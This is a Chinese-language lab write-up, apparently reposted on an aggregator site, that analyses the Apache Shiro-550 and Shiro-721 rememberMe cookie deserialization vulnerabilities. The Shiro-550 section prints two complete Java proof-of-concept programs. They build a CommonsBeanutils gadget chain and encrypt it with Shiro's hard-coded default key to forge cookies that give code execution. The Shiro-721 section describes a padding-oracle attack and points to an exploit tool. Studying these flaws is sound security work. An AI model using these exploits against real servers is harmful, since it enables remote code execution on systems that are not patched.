shiro 反序列化漏洞

news/2024/10/15 13:35:25

shiro 反序列化漏洞

Shiro-550

漏洞原理

影响版本:Apache Shiro < 1.2.4
特征判断:返回包中包含rememberMe=deleteMe字段。

为了让浏览器或服务器重启后用户不丢失登录状态,Shiro 支持将持久化信息序列化并加密后保存在 Cookie 的 rememberMe 字段中,下次读取时进行解密再反序列化。Payload产生的过程: 命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。这里面比较重要的就是搞到 AES 加密的密钥。

而在 Shiro 1.2.4 版本之前内置了一个默认且固定的加密 Key,如果没有更改默认密码,攻击者就可以伪造任意的 rememberMe Cookie,进而触发反序列化漏洞。

环境搭建

分别下载
shiro 下载地址:https://github.com/jas502n/SHIRO-550(下载对应war包即可)

shiro 源码下载地址:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

tomcat 配置,

然后选择下载的 shiro war 包

在项目中也需要更改为 jdk1.7 版本。

最后运行访问端口。

参考:https://blog.csdn.net/qq_44769520/article/details/123476443

漏洞分析

rememberMe 生成

登录抓包,看见在成功登录后给了一个 set-cookie,

回到源码看看这串 cookie 是怎么生成的,全局搜索 cookie 相关处理的类,发现了 CookieRememberMeMananger 类,分析该类的方法,发现方法 rememberSerializedIdentity 就是生成 cookie 的函数,不过这里只能看到把 serialized 进行了 base64 编码

发现其在函数 AbstractRememberMeManager#rememberIdentity 调用,

跟进看到调用了函数 convertPrincipalsToBytes 对 cookie 数据进行加密,

来到 convertPrincipalsToBytes 函数,首先进行了序列化,然后进行加密,

加密的话就是个 AES 加密,看一下其 key 是通过 getEncryptionCipherKey 函数来的,

而这个函数其实就是返回了个常量,所以现在要找谁给常量 encryptionCipherKey 赋了值。

找到函数 setCipherKey,其调用的 setEncryptionCipherKeysetDecryptionCipherKey 就是分别给加密和解密设置 key


继续朔源看谁调用了 setCipherKey 函数,发现在构造函数中

常量 DEFAULT_CIPHER_KEY_BYTES 就是默认设置的加密 key 了。

至此生成 cookie 的大概过程就清楚了就是序列化+AES 加密+base64 编码。

rememberMe 解密

现在来看看是如何获取 cookie 并进行反序列化的,找到其 base64 解码对应方法

同样查找谁调用了该方法,在 AbstractRememberMeManager#getRememberedPrincipals

这里就是先调用 getRememberedSerializedIdentity 函数进行 base64 解码后在调用 convertBytesToPrincipals 进行 AES 解密和反序列化,

漏洞利用

知道存在反序列化,那么 payload 生成也就是序列化恶意 poc+AES 加密+base64 加密,然后就可以进行攻击了。这里 shiro 是自带 cb 链的,

构造 poc,

package org.apache.shiro.web;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.beanutils.BeanComparator;  
import org.apache.shiro.codec.Base64;  
import org.apache.shiro.codec.CodecSupport;  
import org.apache.shiro.crypto.AesCipherService;  
import org.apache.shiro.util.ByteSource;  import java.io.*;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.PriorityQueue;  
public class shiroCBtest {  public static void main(String[] args)throws Exception {  TemplatesImpl tem =new TemplatesImpl();  byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  setValue(tem, "_bytecodes", new byte[][]{code});  setValue(tem, "_tfactory", new TransformerFactoryImpl());  setValue(tem, "_name", "gaoren");  setValue(tem, "_class", null);  PriorityQueue queue = new PriorityQueue(1);  BeanComparator comparator = new BeanComparator("outputProperties");  queue.add(1);  queue.add(1);  Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");  field.setAccessible(true);  field.set(queue,comparator);  Object[] queue_array = new Object[]{tem,1};  Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");  queue_field.setAccessible(true);  queue_field.set(queue,queue_array);  String data = serilize(queue);  byte[] originalText =  Base64.decode(data);  // 加密  String encryptedText = encrypt(originalText, SECRET_KEY);  System.out.println("Encrypted: " + encryptedText);  }  public static String encrypt(byte[] data, String secret) throws Exception {  AesCipherService aes = new AesCipherService();  byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));  ByteSource ciphertext = aes.encrypt(data, key);  return ciphertext.toString();  }  public static String serilize(Object obj)throws IOException {  ByteArrayOutputStream out = new ByteArrayOutputStream();  ObjectOutputStream objout=new ObjectOutputStream(out);  objout.writeObject(obj);  byte[] ObjectBytes = out.toByteArray();  String base64EncodedValue = Base64.encodeToString(ObjectBytes);  return base64EncodedValue;  }  public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  Object obj=in.readObject();  return obj;  }  public static void setValue(Object obj,String fieldName,Object value) throws Exception {  Field field = obj.getClass().getDeclaredField(fieldName);  field.setAccessible(true);  field.set(obj,value);  }  
}

抓包替换 rememberMe 字段,发包后报错,显示报错和 cc 有关

后面看了组长的视频知道是因为没有 cc 依赖,而 cb 中的 BeanComparator 类构造函数引用了 cc 中的类 ComparableComparator

可以用它的另一个构造函数,只不过这里需要找一个继承了 Comparator 接口并且继承 Serializable 接口的类,

发现 AttrCompare 类就满足条件。

所以重新构造

package org.apache.shiro.web;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;  
import org.apache.commons.beanutils.BeanComparator;  
import org.apache.shiro.codec.Base64;  
import org.apache.shiro.codec.CodecSupport;  
import org.apache.shiro.crypto.AesCipherService;  
import org.apache.shiro.util.ByteSource;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.PriorityQueue;  
public class shiroCBtest {  public static void main(String[] args)throws Exception {  TemplatesImpl tem =new TemplatesImpl();  byte[] code = Files.readAllBytes(Paths.get("D:/yusi.class"));  setValue(tem, "_bytecodes", new byte[][]{code});  setValue(tem, "_tfactory", new TransformerFactoryImpl());  setValue(tem, "_name", "gaoren");  setValue(tem, "_class", null);  PriorityQueue queue = new PriorityQueue(1);  BeanComparator comparator = new BeanComparator("outputProperties",new AttrCompare());  queue.add(1);  queue.add(1);  Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");  field.setAccessible(true);  field.set(queue,comparator);  Object[] queue_array = new Object[]{tem,1};  Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");  queue_field.setAccessible(true);  queue_field.set(queue,queue_array);  String data = serilize(queue);  byte[] originalText =  Base64.decode(data);  // 加密  String encryptedText = encrypt(originalText, SECRET_KEY);  System.out.println("Encrypted: " + encryptedText);  }  public static String encrypt(byte[] data, String secret) throws Exception {  AesCipherService aes = new AesCipherService();  byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));  ByteSource ciphertext = aes.encrypt(data, key);  return ciphertext.toString();  }  public static String serilize(Object obj)throws IOException {  ByteArrayOutputStream out = new ByteArrayOutputStream();  ObjectOutputStream objout=new ObjectOutputStream(out);  objout.writeObject(obj);  byte[] ObjectBytes = out.toByteArray();  String base64EncodedValue = Base64.encodeToString(ObjectBytes);  return base64EncodedValue;  }  public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  Object obj=in.readObject();  return obj;  }  public static void setValue(Object obj,String fieldName,Object value) throws Exception {  Field field = obj.getClass().getDeclaredField(fieldName);  field.setAccessible(true);  field.set(obj,value);  }  
}

emm,用 jdk17 来编译 class 文件。最后弹出计算机

Shiro721

漏洞原理

影响版本:Apache Shiro <= 1.4.1
漏洞特征:响应包中包含字段remember=deleteMe字段

Shiro 的RememberMe Cookie使用的是 AES-128-CBC 模式加密。其中 128 表示密钥长度为128位,CBC 代表Cipher Block Chaining,这种AES算法模式的主要特点是将明文分成固定长度的块,然后利用前一个块的密文对当前块的明文进行加密处理。

这种模式的加密方式容易受到 Padding Oracle Attack 的影响。如果填充不正确,程序可能会以不同的方式响应,而不是简单的返回一个错误。然后攻击者可以利用这些差异性响应来逐个解密密文中的块,即使他们没有加密的密钥。

环境搭建

参考:https://github.com/inspiringz/Shiro-721

git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.4.1

然后在执行下面命令编译 war 包

cd samples/web
mvn install

配置 tomcat 和上面一样,只不过 jre 版本改为 1.8,webapps 目录下面选择该 war 包。然后运行结果如下

漏洞分析

其他地方其实和 shiro550 没什么差别,就是在对序列化内容进行编码有所改变,shiro550 是通过固定密钥来进行的加密,其设置密钥函数

而 shiro721 中则是通过动态来生成的密钥,

跟进函数 generateNewKey 看看密钥是怎么生成的。

初始化了 keyBitSize 对象,这里是获得一个随机数发生器SecureRandom

然后调用了 generateKey()函数

最后 getEncoded 获得了 16 位随机密钥。

但是由于加密用的是 AES-128-CBC 加密模式,可以利用 CBC 翻转进行绕过。

漏洞利用

这里需要利用差异性响应来逐个解密密文中的块,所以这里需要来看解密的不同响应,

  • 当收到一个有效密文(解密时正确填充的密文)但解密为无效值时,应用程序会显示自定义错误消息 (200 OK)

也就是前面看到的Set-Cookie: rememberMe=deleteMe

  • 当收到无效的密文时(解密时填充错误的密文),应用程序会抛出加密异常(500 内部服务器错误)
  • 当收到一个有效的密文(一个被正确填充并包含有效数据的密文)时,应用程序正常响应(200 OK)

其实总结就是

  • Padding正确,服务器正常响应
  • Padding错误,服务器返回Set-Cookie: rememberMe=deleteMe

这里就直接利用工具进行构造了,工具地址:https://github.com/feihong-cs/ShiroExploit-Deprecated

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/71814.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

人员闯入报警系统

人员闯入报警系统是一种应用于工厂危险作业区域、工地危险作业区域或者重要区域保护等场景的创新解决方案,人员闯入报警系统旨在通过实时监测和识别,对未经许可或非法进入的人员进行及时报警。人员闯入报警系统利用先进的感应与识别技术,确保对危险区域的安全管理和保护。人…

我也不知道我是不是糖丸

模拟赛碰到一个很纸张的题目,但是自己没有做出来,于是记一下。 description\(1 \le n, a_i \le 3 \times 10^5\)。 solution 首先场上我写了一个很典的暴力做法。 考虑到预处理出所有阶乘的质因子幂次,然后相当于我从大往小枚举,能除多少就除多少,这样肯定能够满足字典序最…

B 站 硬币奖励不合理规则 All In One

B 站 硬币奖励不合理规则 All In One 💩 观众投币的百分之十将作为UP主的硬币收入奖励, 那 90% 的硬币去哪了呢?B 站 硬币奖励不合理规则 All In One💩 观众投币的百分之十将作为UP主的硬币收入奖励, 那 90% 的硬币去哪了呢?硬币规则如何给稿件投硬币?1.正式会员可以通过…

[单机]梦幻国度类似爱如初见+新版Q萌冒险剧情端游安装教程+虚拟机一键端

今天给大家带来一款单机游戏的架设:梦幻国度 另外:本人承接各种游戏架设(单机+联网) 本人为了学习和研究软件内含的设计思想和原理,带了架设教程仅供娱乐。 教程是本人亲自搭建成功的,绝对是完整可运行的,踩过的坑都给你们填上了。如果你是小白也没问题,跟着教程走也是…

狗子!!!

表情包专区 就想记录一下以前现在之后画出来的狗子图片而已。 某段时间前使用 mspaint,之后改为使用 SAI2。

Nuxt.js 应用中的 modules:before 事件钩子详解

title: Nuxt.js 应用中的 modules:before 事件钩子详解 date: 2024/10/15 updated: 2024/10/15 author: cmdragon excerpt: modules:before 是 Nuxt.js 中一个重要的生命周期钩子,在 Nuxt 应用初始化期间被触发。该钩子允许开发者在安装用户定义的模块之前执行某些操作,如…

微信小程序-定位经纬度和展示内嵌地图

结果展示: 点击获取经纬度: 点击展示地图:WXML文件:<!--pages/location…

Linux 教程

目录Linux 初识:Linux 简介:虚拟机:虚拟机快照:目录结构:Linux 路径:Linux 基础命令:基础语法:路径篇:ls 命令:cd-pwd 命令:特殊路径符:文件篇:mkdir 命令:touch-cat-more 命令:cp-mv-rm 命令:which-find 命令:grep-wc 命令:管道符:拓展篇:echo 命令:反引…